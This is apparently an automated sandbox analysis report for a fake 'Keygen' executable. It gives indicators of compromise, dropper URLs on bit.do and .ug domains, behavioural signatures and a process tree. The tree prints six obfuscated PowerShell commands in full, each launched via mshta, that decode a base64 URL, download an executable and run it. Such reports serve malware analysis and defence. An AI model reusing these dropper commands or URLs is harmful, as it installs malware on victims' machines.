201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
39s
max time network
148s
platform
windows7_x64
resource
win7
submitted
01-10-2020 20:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (30).exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

10 1504 powershell.exe
12 524 powershell.exe
13 1360 powershell.exe
16 524 powershell.exe
18 1360 powershell.exe
19 1504 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 4 IoCs

Processes:

Keygen.exenoh.exenqk.exehjf.exe

pid process

1812 Keygen.exe
2520 noh.exe
2568 nqk.exe
2624 hjf.exe
Loads dropped DLL 8 IoCs

Processes:

cmd.exepowershell.exepowershell.exepowershell.exenqk.exe

pid process

1492 cmd.exe
524 powershell.exe
1360 powershell.exe
1360 powershell.exe
1504 powershell.exe
1504 powershell.exe
2568 nqk.exe
2568 nqk.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1216 timeout.exe
1908 timeout.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

flow	pid	process
10	1504	powershell.exe
12	524	powershell.exe
13	1360	powershell.exe
16	524	powershell.exe
18	1360	powershell.exe
19	1504	powershell.exe

pid	process
1812	Keygen.exe
2520	noh.exe
2568	nqk.exe
2624	hjf.exe

pid	process
1492	cmd.exe
524	powershell.exe
1360	powershell.exe
1360	powershell.exe
1504	powershell.exe
1504	powershell.exe
2568	nqk.exe
2568	nqk.exe

pid	process
1216	timeout.exe
1908	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
668	powershell.exe
1360	powershell.exe
1504	powershell.exe
1220	powershell.exe
524	powershell.exe
668	powershell.exe
524	powershell.exe
1504	powershell.exe
1220	powershell.exe
1360	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	524	powershell.exe
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	668	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Keygen.exenqk.exe

pid process

1812 Keygen.exe
2568 nqk.exe

pid	process
1812	Keygen.exe
2568	nqk.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (30).execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 1320 wrote to memory of 1492	1320	Keygen — копия (30).exe	cmd.exe
PID 1320 wrote to memory of 1492	1320	Keygen — копия (30).exe	cmd.exe
PID 1320 wrote to memory of 1492	1320	Keygen — копия (30).exe	cmd.exe
PID 1320 wrote to memory of 1492	1320	Keygen — копия (30).exe	cmd.exe
PID 1492 wrote to memory of 1812	1492	cmd.exe	Keygen.exe
PID 1492 wrote to memory of 1812	1492	cmd.exe	Keygen.exe
PID 1492 wrote to memory of 1812	1492	cmd.exe	Keygen.exe
PID 1492 wrote to memory of 1812	1492	cmd.exe	Keygen.exe
PID 1492 wrote to memory of 1856	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1856	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1856	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1856	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1336	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1336	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1336	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1336	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1216	1492	cmd.exe	timeout.exe
PID 1492 wrote to memory of 1216	1492	cmd.exe	timeout.exe
PID 1492 wrote to memory of 1216	1492	cmd.exe	timeout.exe
PID 1492 wrote to memory of 1216	1492	cmd.exe	timeout.exe
PID 1492 wrote to memory of 1660	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1660	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1660	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1660	1492	cmd.exe	mshta.exe
PID 1856 wrote to memory of 1504	1856	mshta.exe	powershell.exe
PID 1856 wrote to memory of 1504	1856	mshta.exe	powershell.exe
PID 1856 wrote to memory of 1504	1856	mshta.exe	powershell.exe
PID 1856 wrote to memory of 1504	1856	mshta.exe	powershell.exe
PID 1336 wrote to memory of 1532	1336	mshta.exe	powershell.exe
PID 1336 wrote to memory of 1532	1336	mshta.exe	powershell.exe
PID 1336 wrote to memory of 1532	1336	mshta.exe	powershell.exe
PID 1336 wrote to memory of 1532	1336	mshta.exe	powershell.exe
PID 1492 wrote to memory of 1924	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1924	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1924	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1924	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 1908	1492	cmd.exe	timeout.exe
PID 1492 wrote to memory of 1908	1492	cmd.exe	timeout.exe
PID 1492 wrote to memory of 1908	1492	cmd.exe	timeout.exe
PID 1492 wrote to memory of 1908	1492	cmd.exe	timeout.exe
PID 1660 wrote to memory of 524	1660	mshta.exe	powershell.exe
PID 1660 wrote to memory of 524	1660	mshta.exe	powershell.exe
PID 1660 wrote to memory of 524	1660	mshta.exe	powershell.exe
PID 1660 wrote to memory of 524	1660	mshta.exe	powershell.exe
PID 1924 wrote to memory of 668	1924	mshta.exe	powershell.exe
PID 1924 wrote to memory of 668	1924	mshta.exe	powershell.exe
PID 1924 wrote to memory of 668	1924	mshta.exe	powershell.exe
PID 1924 wrote to memory of 668	1924	mshta.exe	powershell.exe
PID 1492 wrote to memory of 888	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 888	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 888	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 888	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 292	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 292	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 292	1492	cmd.exe	mshta.exe
PID 1492 wrote to memory of 292	1492	cmd.exe	mshta.exe
PID 888 wrote to memory of 1360	888	mshta.exe	powershell.exe
PID 888 wrote to memory of 1360	888	mshta.exe	powershell.exe
PID 888 wrote to memory of 1360	888	mshta.exe	powershell.exe
PID 888 wrote to memory of 1360	888	mshta.exe	powershell.exe
PID 292 wrote to memory of 1220	292	mshta.exe	powershell.exe
PID 292 wrote to memory of 1220	292	mshta.exe	powershell.exe
PID 292 wrote to memory of 1220	292	mshta.exe	powershell.exe
PID 292 wrote to memory of 1220	292	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (30).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (30).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1320

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\2E22.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (30).exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1492

C:\Users\Admin\AppData\Local\Temp\2E22.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1812

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2E22.tmp\m.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1856

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504

C:\Users\Public\hjf.exe
"C:\Users\Public\hjf.exe"
5⤵
- Executes dropped EXE
PID:2624

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2E22.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1336

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1532

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1216

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2E22.tmp\b.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1660

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:524

C:\Users\Public\noh.exe
"C:\Users\Public\noh.exe"
5⤵
- Executes dropped EXE
PID:2520

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2E22.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1924

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:668

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1908

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2E22.tmp\ba.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:888

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1360

C:\Users\Public\nqk.exe
"C:\Users\Public\nqk.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:2568

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
PID:2684

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2E22.tmp\ba1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:292

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1220

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Local\Temp\2E22.tmp\Keygen.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\2E22.tmp\Keygen.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\2E22.tmp\b.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\2E22.tmp\b1.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\2E22.tmp\ba.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\2E22.tmp\ba1.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\2E22.tmp\m.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\2E22.tmp\m1.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\2E22.tmp\start.bat

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Public\hjf.exe

Download Submit
C:\Users\Public\noh.exe

Download Submit
C:\Users\Public\noh.exe

Download Submit
C:\Users\Public\nqk.exe

Download Submit
\Users\Admin\AppData\Local\Temp\2E22.tmp\Keygen.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Public\hjf.exe

Download Submit
\Users\Public\hjf.exe

Download Submit
\Users\Public\noh.exe

Download Submit
\Users\Public\nqk.exe

Download Submit
\Users\Public\nqk.exe

Download Submit
memory/292-30-0x0000000000000000-mapping.dmp

Download
memory/524-19-0x0000000000000000-mapping.dmp

Download
memory/524-35-0x0000000070B50000-0x000000007123E000-memory.dmp

Filesize
6.9MB

Download
memory/668-25-0x0000000070B50000-0x000000007123E000-memory.dmp

Filesize
6.9MB

Download
memory/668-20-0x0000000000000000-mapping.dmp

Download
memory/888-28-0x0000000000000000-mapping.dmp

Download
memory/1216-11-0x0000000000000000-mapping.dmp

Download
memory/1220-36-0x0000000070B50000-0x000000007123E000-memory.dmp

Filesize
6.9MB

Download
memory/1220-32-0x0000000000000000-mapping.dmp

Download
memory/1220-44-0x0000000004CA0000-0x0000000004CA1000-memory.dmp

Filesize
4KB

Download
memory/1220-55-0x0000000004A10000-0x0000000004A11000-memory.dmp

Filesize
4KB

Download
memory/1336-10-0x0000000000000000-mapping.dmp

Download
memory/1360-38-0x0000000001040000-0x0000000001041000-memory.dmp

Filesize
4KB

Download
memory/1360-37-0x0000000070B50000-0x000000007123E000-memory.dmp

Filesize
6.9MB

Download
memory/1360-50-0x0000000002870000-0x0000000002871000-memory.dmp

Filesize
4KB

Download
memory/1360-31-0x0000000000000000-mapping.dmp

Download
memory/1492-0-0x0000000000000000-mapping.dmp

Download
memory/1504-67-0x0000000006190000-0x0000000006191000-memory.dmp

Filesize
4KB

Download
memory/1504-62-0x0000000006150000-0x0000000006151000-memory.dmp

Filesize
4KB

Download
memory/1504-23-0x0000000070B50000-0x000000007123E000-memory.dmp

Filesize
6.9MB

Download
memory/1504-68-0x00000000063A0000-0x00000000063A1000-memory.dmp

Filesize
4KB

Download
memory/1504-80-0x0000000006430000-0x0000000006431000-memory.dmp

Filesize
4KB

Download
